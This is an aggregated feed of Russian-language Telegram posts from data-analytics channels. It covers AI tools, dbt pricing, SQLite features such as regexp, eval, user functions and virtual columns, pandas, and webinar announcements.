OpenAI выпустили классификатор, который определяет написан ли текст вручную или с использованием нейронки. Чем-то напоминает мне историю про антивирусные компании, которые вирусы сами и создают. Однако у меня данный классификатор не смог детектировать сген
OpenAI выпустили классификатор, который определяет написан ли текст вручную или с использованием нейронки. Чем-то напоминает мне историю про антивирусные компании, которые вирусы сами и создают. Однако у меня данный классификатор не смог детектировать сген OpenAI выпустили классификатор, который определяет написан ли текст вручную или с использованием нейронки. Чем-то напоминает мне историю про антивирусные компании, которые вирусы сами и создают. Однако у меня данный классификатор не смог детектировать сген

OpenAI выпустили классификатор, который определяет написан ли текст вручную или с использованием нейронки. Чем-то напоминает мне историю про антивирусные компании, которые вирусы сами и создают. Однако у меня данный классификатор не смог детектировать сгенерированную жалобу на простейшем промпте к ChatGPT — две картинки в карусели.

3 days, 21 hours назад @ t.me
‍Умные заметки, генератор сопроводительных и мемов: семь AI-моделей, которым можно делегировать задачи— подборка @leftjoin для всех, кому нужен перерыв от ChatGPT1. Summari — инструмент, который трансформирует любой текст на английском языке в короткий абз
‍Умные заметки, генератор сопроводительных и мемов: семь AI-моделей, которым можно делегировать задачи— подборка @leftjoin для всех, кому нужен перерыв от ChatGPT1. Summari — инструмент, который трансформирует любой текст на английском языке в короткий абз

‍Умные заметки, генератор сопроводительных и мемов: семь AI-моделей, которым можно делегировать задачи— подборка @leftjoin для всех, кому нужен перерыв от ChatGPT1. Summari — инструмент, который трансформирует любой текст на английском языке в короткий абзац с главной мыслью. Подойдет, если нужно быстро вытащить суть, а статью достаточно прочесть по диагонали. 2. Spreadsheet Magic — модель на основе GPT-3, которая может дополнить Google-таблицу через поиск и анализ информации в интернете. Закрытые и непопулярные данные не подтянет, но найти Twitter-аккаунты известных личностей или население штатов США у неё получится.3. Refraction — сервис работает с C#, C++, Java, Python и другими языками …

4 days, 2 hours назад @ t.me
Для ребят из @setters (которых мы любим и уважаем за их маркетинг, обучение и другие сайд-проекты) собрали подборочку AI-сервисов. Думаю, что и наши подписчики найдут что-то интересненькое для себя 😎
Для ребят из @setters (которых мы любим и уважаем за их маркетинг, обучение и другие сайд-проекты) собрали подборочку AI-сервисов. Думаю, что и наши подписчики найдут что-то интересненькое для себя 😎

Для ребят из @setters (которых мы любим и уважаем за их маркетинг, обучение и другие сайд-проекты) собрали подборочку AI-сервисов. Думаю, что и наши подписчики найдут что-то интересненькое для себя 😎

4 days, 2 hours назад @ t.me
MusicLM: новая веха в музыкальной истории 🎼Разработчики из Google Research выпустили доклад о модели MusicLM, которая генерирует музыку на основе текстовых подсказок, а также открыли доступ к датасету MusicCaps, в который входит 5.5k пар текст + музыка.Так
MusicLM: новая веха в музыкальной истории 🎼Разработчики из Google Research выпустили доклад о модели MusicLM, которая генерирует музыку на основе текстовых подсказок, а также открыли доступ к датасету MusicCaps, в который входит 5.5k пар текст + музыка.Так MusicLM: новая веха в музыкальной истории 🎼Разработчики из Google Research выпустили доклад о модели MusicLM, которая генерирует музыку на основе текстовых подсказок, а также открыли доступ к датасету MusicCaps, в который входит 5.5k пар текст + музыка.Так

MusicLM: новая веха в музыкальной истории 🎼Разработчики из Google Research выпустили доклад о модели MusicLM, которая генерирует музыку на основе текстовых подсказок, а также открыли доступ к датасету MusicCaps, в который входит 5.5k пар текст + музыка.Такое мы уже где-то видели!В отличие от Riffusion, модели для генерации музыки на основе Stable Diffusion, о которой мы писали ранее, MusicLM генерирует музыку высокого качества, а также может основываться не только на тексте, который описывает предназначение трека, настроение и инструменты, но и мелодию, позволяя также регламентировать каждый из этих аспектов указанием тайминга. Например, вы можете задать последовательную смену настроения ко…

5 days назад @ t.me
Знаете ли вы реальные цены на Enterprise-внедрение dbt?Пташки нашептали мне реальный прайс на внедрение dbt в одну US-организацию. Хотел бы поделиться и раскрыть карты на реальное коммерческое положение дел по внедрению модного analytics engineering soluti
Знаете ли вы реальные цены на Enterprise-внедрение dbt?Пташки нашептали мне реальный прайс на внедрение dbt в одну US-организацию. Хотел бы поделиться и раскрыть карты на реальное коммерческое положение дел по внедрению модного analytics engineering soluti Знаете ли вы реальные цены на Enterprise-внедрение dbt?Пташки нашептали мне реальный прайс на внедрение dbt в одну US-организацию. Хотел бы поделиться и раскрыть карты на реальное коммерческое положение дел по внедрению модного analytics engineering soluti

Знаете ли вы реальные цены на Enterprise-внедрение dbt?Пташки нашептали мне реальный прайс на внедрение dbt в одну US-организацию. Хотел бы поделиться и раскрыть карты на реальное коммерческое положение дел по внедрению модного analytics engineering solution. Итак, 10 developer-доступов и 50 read-доступов обойдутся вам в $38K в год, добавьте к этому $6.3K в качестве one-time fee на онбординг и дело в шляпе. Кстати, в 2017 году по сравнимой цене внедрялся Looker (модель с так называемым «jump start kit» была очень похожей).И еще по этой теме — недавно я наткнулся на интересный пост: автор придумал как оптимизировать такие приличные затраты на dbt заменив их github workflows.

6 days, 2 hours назад @ t.me
Студенты: хочу блистать знаниями во время онлайн семинаров и не палитьсяNVIDIA: ✔️Мечты сбываются: в свежем релизе NVIDIA Broadcast — платформы для стриминга и видеоконференций. NVIDIA внедрила AI, чтобы ваш зрительный контакт с человеком по ту сторону экр
Студенты: хочу блистать знаниями во время онлайн семинаров и не палитьсяNVIDIA: ✔️Мечты сбываются: в свежем релизе NVIDIA Broadcast — платформы для стриминга и видеоконференций. NVIDIA внедрила AI, чтобы ваш зрительный контакт с человеком по ту сторону экр

Студенты: хочу блистать знаниями во время онлайн семинаров и не палитьсяNVIDIA: ✔️Мечты сбываются: в свежем релизе NVIDIA Broadcast — платформы для стриминга и видеоконференций. NVIDIA внедрила AI, чтобы ваш зрительный контакт с человеком по ту сторону экрана не прерывался. AI «нарисует» вам глаза (максимально реалистично, надо отдать честь!) пока вы будете спокойно смотреть видео на Youtube во время очередного совещания.Также, для создания более реалистичной картинки, разработчики представили в новой версии возможность размывать фон и добавлять виньетку, что позволяет увеличить глубину пространства в кадре и придать ему большую достоверность или более аккуратный вид. Ну а вдруг вы боитесь,…

1 week, 2 days назад @ t.me
Sketch — библиотека, которая выполнит всю работу за васЕсли честно, при просмотре этого видео складывается ощущение, что больше можно совершенно не учиться программировать на Python, ведь Sketch может писать код и проводить анализ самостоятельно.Как она ра
Sketch — библиотека, которая выполнит всю работу за васЕсли честно, при просмотре этого видео складывается ощущение, что больше можно совершенно не учиться программировать на Python, ведь Sketch может писать код и проводить анализ самостоятельно.Как она ра

Sketch — библиотека, которая выполнит всю работу за васЕсли честно, при просмотре этого видео складывается ощущение, что больше можно совершенно не учиться программировать на Python, ведь Sketch может писать код и проводить анализ самостоятельно.Как она работает?Волшебно. А если серьезно, то эта библиотека — AI-ассистент по написанию кода: она заточена под анализ данных, в особенности с использованием библиотеки pandas (но и других тоже). Вам нужно подключить Sketch, загрузить данные, а затем либо задавать модели вопросы по данным, либо просить ее посчитать что-то на их основе, добавить переменные или нарисовать график.Если вы уже запереживалиСпешим напомнить, что любое развитие науки и тех…

1 week, 3 days назад @ t.me
📹 YouTube-канал LEFT JOIN вновь оживает: обзор на RocketBI 🚀Спешу поделиться с вами первым (и далеко не последним!) ютуб-роликом в 2023 году. Что в обзоре?Мы познакомимся с новым BI-инструментом, Rocket.BI, и детально изучим его внушительные возможности ви
📹 YouTube-канал LEFT JOIN вновь оживает: обзор на RocketBI 🚀Спешу поделиться с вами первым (и далеко не последним!) ютуб-роликом в 2023 году. Что в обзоре?Мы познакомимся с новым BI-инструментом, Rocket.BI, и детально изучим его внушительные возможности ви

📹 YouTube-канал LEFT JOIN вновь оживает: обзор на RocketBI 🚀Спешу поделиться с вами первым (и далеко не последним!) ютуб-роликом в 2023 году. Что в обзоре?Мы познакомимся с новым BI-инструментом, Rocket.BI, и детально изучим его внушительные возможности визуализации данных, а также определим, в чем преимущества данного инструмента и его недостатки. А еще обсудим, почему разработчикам Redash стоит побеспокоиться о своем продукте, ведь на рынке у него появился сильный конкурент!Можно ли было увидеть его раньше?Можно! В канале FULL JOIN все эксклюзивные материалы выходят на две недели раньше. Присоединяйтесь и будьте в курсе всех новинок вместе с нами.

1 week, 3 days назад @ t.me
Аналитика данных — блог опытного специалиста в области данных (который активно работает с данными Uber!). Что в канале?📍Много практических статей по использованию библиотек и методов, которые разобраны до мельчайших деталей понятным языком📍Гайды по использ
Аналитика данных — блог опытного специалиста в области данных (который активно работает с данными Uber!). Что в канале?📍Много практических статей по использованию библиотек и методов, которые разобраны до мельчайших деталей понятным языком📍Гайды по использ

Аналитика данных — блог опытного специалиста в области данных (который активно работает с данными Uber!). Что в канале?📍Много практических статей по использованию библиотек и методов, которые разобраны до мельчайших деталей понятным языком📍Гайды по использованию Python 📍Советы и лайфхаки по оптимизации работы разных сред (например, Jupyter Notebook), которыми можно козырнуть на собеседованииПодписывайтесь, ведь много профессионального контента не-бы-ва-ет!#реклама

1 week, 4 days назад @ t.me
Одеваться как разработчик — скучно?Нет, практично! Как минимум, если одеваться как вполне конкретный разработчик Олоф Ховерфельт.Почему?Все дело в том, что Олоф подошел к анализу предметов гардероба, как к рабочей задаче. Он отмечал, какие вещи и когда нос
Одеваться как разработчик — скучно?Нет, практично! Как минимум, если одеваться как вполне конкретный разработчик Олоф Ховерфельт.Почему?Все дело в том, что Олоф подошел к анализу предметов гардероба, как к рабочей задаче. Он отмечал, какие вещи и когда нос Одеваться как разработчик — скучно?Нет, практично! Как минимум, если одеваться как вполне конкретный разработчик Олоф Ховерфельт.Почему?Все дело в том, что Олоф подошел к анализу предметов гардероба, как к рабочей задаче. Он отмечал, какие вещи и когда нос

Одеваться как разработчик — скучно?Нет, практично! Как минимум, если одеваться как вполне конкретный разработчик Олоф Ховерфельт.Почему?Все дело в том, что Олоф подошел к анализу предметов гардероба, как к рабочей задаче. Он отмечал, какие вещи и когда носит, а затем проанализировал данные. В итоге, он смог разобраться какие вещи служат дольше, какие стоят своих денег и, самое главное, что ему вообще больше всего нравится и к чему «тянется рука». Какие данные он собирал?Всего у Олофа было 426 предметов одежды, которые он разделил на 12 типичных категорий. Каждый вечер он вносил в дневник информацию об одежде, которую носил в течение дня. На основе этих данных он посчитал специфические метри…

1 week, 4 days назад @ t.me
Очередная коллаборация GPT – теперь с Google SheetsТо, с какой скоростью влияние и применение моделей GPT распространяется на нашу жизнь просто поражает воображение. Мы уже показывали вам, как один разработчик использовал gpt3 для заполнения таблиц. Но и э
Очередная коллаборация GPT – теперь с Google SheetsТо, с какой скоростью влияние и применение моделей GPT распространяется на нашу жизнь просто поражает воображение. Мы уже показывали вам, как один разработчик использовал gpt3 для заполнения таблиц. Но и э

Очередная коллаборация GPT – теперь с Google SheetsТо, с какой скоростью влияние и применение моделей GPT распространяется на нашу жизнь просто поражает воображение. Мы уже показывали вам, как один разработчик использовал gpt3 для заполнения таблиц. Но и этот метод активно развивается и улучшается!Что на гифке?Несколько дней назад в профиле LinkedIn ChatGPT, появилось видео автозаполнения пустых полей в таблице функцией gpt3(). С её помощью можно найти и добавить информацию из интеренета в вашу таблицу за считанные секунды. Нужны лишь заполненные ячейки и подписи строк и столбцов.Главное теперь научиться использовать сэкономленное время с умом!

1 week, 6 days назад @ t.me
«Здравствуйте, вам одобрена кредитная карта!»Вам, наверное, неоднократно звонили «роботы» с предложением оформить карту Халва или взять кредит в Альфа банке? Возможно, вы никогда не задумывались над тем, что изначально эти голосовые сообщения были записаны
«Здравствуйте, вам одобрена кредитная карта!»Вам, наверное, неоднократно звонили «роботы» с предложением оформить карту Халва или взять кредит в Альфа банке? Возможно, вы никогда не задумывались над тем, что изначально эти голосовые сообщения были записаны

«Здравствуйте, вам одобрена кредитная карта!»Вам, наверное, неоднократно звонили «роботы» с предложением оформить карту Халва или взять кредит в Альфа банке? Возможно, вы никогда не задумывались над тем, что изначально эти голосовые сообщения были записаны живым диктором. Мы называем их «роботами», но время роботов только наступает! Например, всеобщее внимание недавно привлек проект компании Eleven Labs.Что за проект?Eleven Labs — это разработчики инструментов, которые специализируются на клонировании голоса, синтезировании речи и авто-дубляже.Почему о них стоит узнать?Eleven Labs готовятся выпустить в феврале этого года платформу, которая позволит сгенерировать новый голос, используя настр…

2 weeks, 3 days назад @ t.me
Мое лицо, когда я открываю Slack после отпуска:#мем
Мое лицо, когда я открываю Slack после отпуска:#мем

Мое лицо, когда я открываю Slack после отпуска:#мем

2 weeks, 4 days назад @ t.me
SQLite на практике SQLite на практике
последний пост 1 day, 2 hours назад
Регулярные выражения в SQLiteРегулярные выражения — пожалуй, самый мощный инструмент обработки текста без программирования.По умолчанию «регулярки» отсутствуют в SQLite, но вы легко можете их добавить с новым расширением regexp.В комплекте:— проверка строк
Регулярные выражения в SQLiteРегулярные выражения — пожалуй, самый мощный инструмент обработки текста без программирования.По умолчанию «регулярки» отсутствуют в SQLite, но вы легко можете их добавить с новым расширением regexp.В комплекте:— проверка строк

Регулярные выражения в SQLiteРегулярные выражения — пожалуй, самый мощный инструмент обработки текста без программирования.По умолчанию «регулярки» отсутствуют в SQLite, но вы легко можете их добавить с новым расширением regexp.В комплекте:— проверка строки на соответствие шаблону;— извлечение фрагмента строки по шаблону;— замена по шаблону.Поддерживается довольно навороченный синтаксис, включая всякие разные группы, ленивые квантификаторы и look-around.Unicode тоже поддерживается, что для русского особенно приятно.Главное, не злоупотребляйте :)

1 day, 2 hours назад @ t.me
SQLite в 2022 годуВот заметные фичи, которые появились в SQLite в прошедшем году:— Операторы -> и ->> в JSON (3.38)— RIGHT и FULL JOIN (3.39)— Функция unixepoch() (3.38)— Оператор IS DISTINCT FROM для совместимости со стандартом (3.39)— Расширение
SQLite в 2022 годуВот заметные фичи, которые появились в SQLite в прошедшем году:— Операторы -> и ->> в JSON (3.38)— RIGHT и FULL JOIN (3.39)— Функция unixepoch() (3.38)— Оператор IS DISTINCT FROM для совместимости со стандартом (3.39)— Расширение

SQLite в 2022 годуВот заметные фичи, которые появились в SQLite в прошедшем году:— Операторы -> и ->> в JSON (3.38)— RIGHT и FULL JOIN (3.39)— Функция unixepoch() (3.38)— Оператор IS DISTINCT FROM для совместимости со стандартом (3.39)— Расширение recovery для восстановления битых баз— SQLite теперь компилируют в WASM (3.40)Попробовать новые фичи всегда можно в песочнице sqlime

1 month назад @ t.me
Выполнить произвольный SQL из строкиЗадавать функции прямо в SQL — это здорово. Но что делать, если хочется динамически составить SQL-запрос и выполнить его?Поможет функция eval():> select eval('select 10 + 32');42Можно выполнять любые DDL и DML запросы
Выполнить произвольный SQL из строкиЗадавать функции прямо в SQL — это здорово. Но что делать, если хочется динамически составить SQL-запрос и выполнить его?Поможет функция eval():> select eval('select 10 + 32');42Можно выполнять любые DDL и DML запросы

Выполнить произвольный SQL из строкиЗадавать функции прямо в SQL — это здорово. Но что делать, если хочется динамически составить SQL-запрос и выполнить его?Поможет функция eval():> select eval('select 10 + 32');42Можно выполнять любые DDL и DML запросы:select eval('create table tmp(value int)');select eval('insert into tmp(value) values (1), (2), (3)');select eval('select value from tmp');select eval('drop table tmp');Функция входит в расширение define.

4 months, 2 weeks назад @ t.me
Пользовательские функции в SQLiteВообще-то их нет. Да, можно написать функцию на С или Python, и зарегистрировать в SQLite. Но не прямо в SQL.Но все меняется, если подключить расширение define! С ним можно писать функции на чистом SQL.С define несложно опр
Пользовательские функции в SQLiteВообще-то их нет. Да, можно написать функцию на С или Python, и зарегистрировать в SQLite. Но не прямо в SQL.Но все меняется, если подключить расширение define! С ним можно писать функции на чистом SQL.С define несложно опр

Пользовательские функции в SQLiteВообще-то их нет. Да, можно написать функцию на С или Python, и зарегистрировать в SQLite. Но не прямо в SQL.Но все меняется, если подключить расширение define! С ним можно писать функции на чистом SQL.С define несложно определить собственную функцию:select define('sumn', ':n * (:n + 1) / 2');А затем использовать, как будто встроенную:> select sumn(5);15Пользовательские функции могут принимать несколько параметров и вызывать другие функции.Сгенерировать случайное N, такое что a ≤ N ≤ b:> select define('randint', ':a + abs(random()) % (:b - :a + 1)');> select randint(10, 99);42Можно даже задать функцию, которая возвращает несколько значений!Подробности в доку…

4 months, 4 weeks назад @ t.me
Расширения SQLite для процессоров AppleНаконец дошли руки настроить сборку расширений для ARM-процессоров Apple (M1, M2).Плюс вместо кучи мелких файлов сделал по архиву для каждой операционной системы.Заодно напомню, какие сейчас есть расширения:— crypto:
Расширения SQLite для процессоров AppleНаконец дошли руки настроить сборку расширений для ARM-процессоров Apple (M1, M2).Плюс вместо кучи мелких файлов сделал по архиву для каждой операционной системы.Заодно напомню, какие сейчас есть расширения:— crypto:

Расширения SQLite для процессоров AppleНаконец дошли руки настроить сборку расширений для ARM-процессоров Apple (M1, M2).Плюс вместо кучи мелких файлов сделал по архиву для каждой операционной системы.Заодно напомню, какие сейчас есть расширения:— crypto: криптографические хеш-функции вроде SHA-1 и SHA-256.— fileio: работа с файловой системой — чтение и запись файлов, создание каталогов.— fuzzy: нечеткое сравнение строк, фонетические алгоритмы, транслитерация.— ipaddr: манипуляция IP-адресами и подсетями.— json1: работа с JSON.— math: математические функции.— re: регулярные выражения.— stats: статистика — медиана, процентили, стандартное отклонение.— text: работа со строками.— unicode: подд…

5 months, 1 week назад @ t.me
Про курсыКак знают давние подписчики канала, у меня есть три курса на Степике:— Оконные функции SQL— SQLite на практике— SQLite для аналитикиПервые два частично охватывают материал третьего. Поэтому я решил, что будет правильно давать скидку на «SQLite для
Про курсыКак знают давние подписчики канала, у меня есть три курса на Степике:— Оконные функции SQL— SQLite на практике— SQLite для аналитикиПервые два частично охватывают материал третьего. Поэтому я решил, что будет правильно давать скидку на «SQLite для

Про курсыКак знают давние подписчики канала, у меня есть три курса на Степике:— Оконные функции SQL— SQLite на практике— SQLite для аналитикиПервые два частично охватывают материал третьего. Поэтому я решил, что будет правильно давать скидку на «SQLite для аналитики» для выпускников «окошек» и «на практике».Так что если вы:— успешно решили все задачки в «SQLite на практике» (скидка 500₽),— или получили сертификат с отличием в «Оконные функции SQL» (скидка 500₽),— и хотите пройти «SQLite для аналитики»,то присылайте ссылку на свой Степик-профиль мне @nalgeon, чтобы получить промо-код.

8 months, 3 weeks назад @ t.me
Временные таблицыБывает, хочется собрать данные из нескольких таблиц в одну, и дальше с ними поработать. Например, для удобства выбрать вакансии вместе с работодателями и регионами:select v.*, e.name, a.namefrom vacancy as v join employer as e on e.id = v
Временные таблицыБывает, хочется собрать данные из нескольких таблиц в одну, и дальше с ними поработать. Например, для удобства выбрать вакансии вместе с работодателями и регионами:select v.*, e.name, a.namefrom vacancy as v join employer as e on e.id = v

Временные таблицыБывает, хочется собрать данные из нескольких таблиц в одну, и дальше с ними поработать. Например, для удобства выбрать вакансии вместе с работодателями и регионами:select v.*, e.name, a.namefrom vacancy as v join employer as e on e.id = v.employer_id join area as a on a.id = v.area_idТеперь хочется запускать запросы по сводным данным. Есть три способа это сделать:1) Common Table Expression (CTE)2) Представление (view)3) Временная таблица (temporary table)CTE я описывал в отдельной заметке, не буду повторяться. Важно, что CTE каждый раз вычисляется заново, так что если наш сводный селект не особо быстрый — запросы по нему будут тормозить.Представление — это такой именованный…

8 months, 3 weeks назад @ t.me
JSON и виртуальные столбцыДопустим, вы решили вести журнал событий, которые происходят в системе. События бывают разных типов, у каждого свой набор полей. Например, вход в систему:{ "timestamp": 1652614531, "object": "user", "object_id": 11, "action":
JSON и виртуальные столбцыДопустим, вы решили вести журнал событий, которые происходят в системе. События бывают разных типов, у каждого свой набор полей. Например, вход в систему:{ "timestamp": 1652614531, "object": "user", "object_id": 11, "action":

JSON и виртуальные столбцыДопустим, вы решили вести журнал событий, которые происходят в системе. События бывают разных типов, у каждого свой набор полей. Например, вход в систему:{ "timestamp": 1652614531, "object": "user", "object_id": 11, "action": "login", "details": { "ip": "192.168.0.1" }}Или пополнение счета:{ "timestamp": 1652614584, "object": "account", "object_id": 12, "action": "deposit", "details": { "amount": "1000", "currency": "USD" }}Вы решаете не заниматься нормализацией по таблицам, а хранить прямо в JSON. Заводите таблицу events с единственным полем value:select value from events;{"timestamp":1652614531,...{"timestamp":1652614584,...{"timestamp":1652614644,...И выбираете …

8 months, 3 weeks назад @ t.me
Вычисляемые столбцыИногда поле в запросе рассчитывают на основе других столбцов таблицы.Например, есть столбец income с годовым доходом и tax_rate с налоговой ставкой. Тогда можно посчитать годовой налог:select id, income * tax_rate as taxfrom people;А ч
Вычисляемые столбцыИногда поле в запросе рассчитывают на основе других столбцов таблицы.Например, есть столбец income с годовым доходом и tax_rate с налоговой ставкой. Тогда можно посчитать годовой налог:select id, income * tax_rate as taxfrom people;А ч

Вычисляемые столбцыИногда поле в запросе рассчитывают на основе других столбцов таблицы.Например, есть столбец income с годовым доходом и tax_rate с налоговой ставкой. Тогда можно посчитать годовой налог:select id, income * tax_rate as taxfrom people;А чтобы не таскать везде эти вычисления, удобно создать виртуальный столбец.В общем виде синтаксис такой:alter table ТАБЛИЦАadd column СТОЛБЕЦ ТИП as (ВЫРАЖЕНИЕ);Для налогов будет так:alter table peopleadd column tax real as ( income * tax_rate);После этого столбец можно использовать в запросах точно так же, как обычные столбцы:select id, taxfrom people;Виртуальные столбцы не хранятся в базе и рассчитываются «на лету». Но по ним вполне можно по…

9 months назад @ t.me
Многострочные запросы в консолиСтоило вчера мне написать, что отлаживать многострочные запросы в консоли SQLite неудобно, как интернеты принесли классный трюк. Достаточно вместо Enter использовать для перехода на новую строку сочетание Ctrl+V, Ctrl+J — и т
Многострочные запросы в консолиСтоило вчера мне написать, что отлаживать многострочные запросы в консоли SQLite неудобно, как интернеты принесли классный трюк. Достаточно вместо Enter использовать для перехода на новую строку сочетание Ctrl+V, Ctrl+J — и т Многострочные запросы в консолиСтоило вчера мне написать, что отлаживать многострочные запросы в консоли SQLite неудобно, как интернеты принесли классный трюк. Достаточно вместо Enter использовать для перехода на новую строку сочетание Ctrl+V, Ctrl+J — и т

Многострочные запросы в консолиСтоило вчера мне написать, что отлаживать многострочные запросы в консоли SQLite неудобно, как интернеты принесли классный трюк. Достаточно вместо Enter использовать для перехода на новую строку сочетание Ctrl+V, Ctrl+J — и тогда многострочный запрос редактируется одним куском!

9 months, 3 weeks назад @ t.me
История команд в консоли Если вы используете консоль SQLite (sqlite3), то она помнит последние 2000 выполненных команд. Чтобы повторить последнюю команду, достаточно нажать клавишу ↑, а поиск работает по сочетанию Ctrl+R.По умолчанию файл истории хранится
История команд в консоли Если вы используете консоль SQLite (sqlite3), то она помнит последние 2000 выполненных команд. Чтобы повторить последнюю команду, достаточно нажать клавишу ↑, а поиск работает по сочетанию Ctrl+R.По умолчанию файл истории хранится

История команд в консоли Если вы используете консоль SQLite (sqlite3), то она помнит последние 2000 выполненных команд. Чтобы повторить последнюю команду, достаточно нажать клавишу ↑, а поиск работает по сочетанию Ctrl+R.По умолчанию файл истории хранится в каталоге пользователя и называется .sqlite_history. Он текстовый, так что можно просматривать хоть в редакторе. Если хотите сохранить в другом месте — укажите полный путь в переменной окружения SQLITE_HISTORY.История записывается в файл при штатном выходе из консоли, так что если «моргнет» электричество или еще что — команды, выполненные с последнего запуска sqlite3, потеряются.Конечно, запись истории — не единственная фича консоли. Напр…

9 months, 3 weeks назад @ t.me
Datalytics Datalytics
последний пост 20 часов назад
Узнайте, как готовить данные в Greenplum®🗓Когда: 7 февраля в 12:00 (МСК)На вебинаре архитектор Yandex Cloud расскажет о том:🔹как выбрать оптимальную модель данных для хранилища;🔹как хранить, загружать и обрабатывать данные в Greenplum: heap и append-optimi
Узнайте, как готовить данные в Greenplum®🗓Когда: 7 февраля в 12:00 (МСК)На вебинаре архитектор Yandex Cloud расскажет о том:🔹как выбрать оптимальную модель данных для хранилища;🔹как хранить, загружать и обрабатывать данные в Greenplum: heap и append-optimi Узнайте, как готовить данные в Greenplum®🗓Когда: 7 февраля в 12:00 (МСК)На вебинаре архитектор Yandex Cloud расскажет о том:🔹как выбрать оптимальную модель данных для хранилища;🔹как хранить, загружать и обрабатывать данные в Greenplum: heap и append-optimi

Узнайте, как готовить данные в Greenplum®🗓Когда: 7 февраля в 12:00 (МСК)На вебинаре архитектор Yandex Cloud расскажет о том:🔹как выбрать оптимальную модель данных для хранилища;🔹как хранить, загружать и обрабатывать данные в Greenplum: heap и append-optimized таблицы, индексы, сжатие, партицирование и шардирование данных, подключение к внешним источникам с помощью механизма PXF;🔹как выявлять типовые проблемы производительности: анализ мониторинга и настроек кластера, чтение и анализ планов запросов;🔹как оптимизировать производительность;🔹как выполнять обслуживание кластера Greenplum.Также спикер проведёт короткую Q&A-сессию. Присылайте вопросы в чат трансляции — спикер ответит на них в прям…

20 часов назад @ t.me
Pandas на самом деле предельно простНо как и при использовании любого инструмента, который с виду кажется простым, всегда возникают какие-то ограничения, которые мешают решить поставленную задачуУ только что освоивших import pandas as pd бывает, что они зн
Pandas на самом деле предельно простНо как и при использовании любого инструмента, который с виду кажется простым, всегда возникают какие-то ограничения, которые мешают решить поставленную задачуУ только что освоивших import pandas as pd бывает, что они зн Pandas на самом деле предельно простНо как и при использовании любого инструмента, который с виду кажется простым, всегда возникают какие-то ограничения, которые мешают решить поставленную задачуУ только что освоивших import pandas as pd бывает, что они зн

Pandas на самом деле предельно простНо как и при использовании любого инструмента, который с виду кажется простым, всегда возникают какие-то ограничения, которые мешают решить поставленную задачуУ только что освоивших import pandas as pd бывает, что они знают какого вида табличку хотят получить на выходе, а как её получить — не знают и в итоге впадают в ступор, потому что знают синтаксис, но не знают внутрянкиДля того, чтобы эффективно использовать Pandas и максимально пользоваться его потенциалом, важно понимать основные структуры данных Series и DataFrame, так как они являются строительными блоками работы с данными в PandasНаписал про это целую статью с кучей примеровhttp://datalytics.ru/…

1 day, 3 hours назад @ t.me
Бесплатный онлайн-вебинар «Алгоритмы любви. Machine Learning в Social Discovery» от Social Discovery GroupSocial Discovery Group формирует будущее dating-индустрии. Уже более 250 млн пользователей по всему миру пользуются нашими приложениями, отправляя 75
Бесплатный онлайн-вебинар «Алгоритмы любви. Machine Learning в Social Discovery» от Social Discovery GroupSocial Discovery Group формирует будущее dating-индустрии. Уже более 250 млн пользователей по всему миру пользуются нашими приложениями, отправляя 75 Бесплатный онлайн-вебинар «Алгоритмы любви. Machine Learning в Social Discovery» от Social Discovery GroupSocial Discovery Group формирует будущее dating-индустрии. Уже более 250 млн пользователей по всему миру пользуются нашими приложениями, отправляя 75

Бесплатный онлайн-вебинар «Алгоритмы любви. Machine Learning в Social Discovery» от Social Discovery GroupSocial Discovery Group формирует будущее dating-индустрии. Уже более 250 млн пользователей по всему миру пользуются нашими приложениями, отправляя 75 млн сообщений ежедневно. За этим успехом стоит команда опытных аналитиков и дата-инженеров, создающих алгоритмы для общения и знакомств, и мы поделимся с вами некоторыми секретами.❣️Наши эксперты расскажут о том, как мы привлекаем трафик на наши платформы и удерживаем пользователей с помощью системы рекомендаций по контенту. Мы поделимся нашим опытом создания In-House DSP, познакомим вас с алгоритмами подбора партнеров и покажем, как машин…

2 days, 2 hours назад @ t.me
🔥 Аналитика данных с SQL - блог ведущего дата саентиста, Ozon tech.Здесь разобраны реальные практические задачи по работе с данными с собеседований крупных компаний.Дата Сайентист с глубокими знаниям баз данных, пишет код намного эффективнее коллег с базо
🔥 Аналитика данных с SQL - блог ведущего дата саентиста, Ozon tech.Здесь разобраны реальные практические задачи по работе с данными с собеседований крупных компаний.Дата Сайентист с глубокими знаниям баз данных, пишет код намного эффективнее коллег с базо

🔥 Аналитика данных с SQL - блог ведущего дата саентиста, Ozon tech.Здесь разобраны реальные практические задачи по работе с данными с собеседований крупных компаний.Дата Сайентист с глубокими знаниям баз данных, пишет код намного эффективнее коллег с базовыми навыками.SQl hub - это первоисточник материала, который появляется в платных курсах и блогах по программированию. Рекомендуем подписаться!

5 days, 20 hours назад @ t.me
A/B-тестирование — незаменимый инструмент при проверке гипотез, но есть ряд причин, по которым оно может привести к ошибкамРебята из OzonTech в своей статье рассмотрели шесть распространенных причин, из-за которых система принятия решений через A/B-тестиро
A/B-тестирование — незаменимый инструмент при проверке гипотез, но есть ряд причин, по которым оно может привести к ошибкамРебята из OzonTech в своей статье рассмотрели шесть распространенных причин, из-за которых система принятия решений через A/B-тестиро A/B-тестирование — незаменимый инструмент при проверке гипотез, но есть ряд причин, по которым оно может привести к ошибкамРебята из OzonTech в своей статье рассмотрели шесть распространенных причин, из-за которых система принятия решений через A/B-тестиро

A/B-тестирование — незаменимый инструмент при проверке гипотез, но есть ряд причин, по которым оно может привести к ошибкамРебята из OzonTech в своей статье рассмотрели шесть распространенных причин, из-за которых система принятия решений через A/B-тестирования может давать неверные выводы. Узнайте, что нужно учитывать, чтобы ваши эксперименты работали и, таким образом, приносили пользу бизнесу. Мы рассмотрим методологию и процесс A/B-тестирования, а также проблемы и заблуждения, которые могут привести к провалу. Если вам кажется, что вы не обладаете достаточными знаниями о том, как проводить и правильно оценивать эксперименты, то вам будет полезна эта статьяhttps://habr.com/ru/company/ozon…

5 days, 22 hours назад @ t.me
Немного не по теме моего канала, но нет сил молчать. Недавно я поняла, что некоторые сервисы строят пузырьковые диаграммы, как бог на душу положит. И провела маленькое исследование, в котором сравнила результаты наиболее популярных датавиз сервисов и прогр
Немного не по теме моего канала, но нет сил молчать. Недавно я поняла, что некоторые сервисы строят пузырьковые диаграммы, как бог на душу положит. И провела маленькое исследование, в котором сравнила результаты наиболее популярных датавиз сервисов и прогр

Немного не по теме моего канала, но нет сил молчать. Недавно я поняла, что некоторые сервисы строят пузырьковые диаграммы, как бог на душу положит. И провела маленькое исследование, в котором сравнила результаты наиболее популярных датавиз сервисов и программ. Хочу его попозже дополнить еще QGIS и Gephi, если будет интерес. Если есть еще идеи — ю а вери велкам.Опубликовала у себя на тильде

6 days, 22 hours назад @ t.me
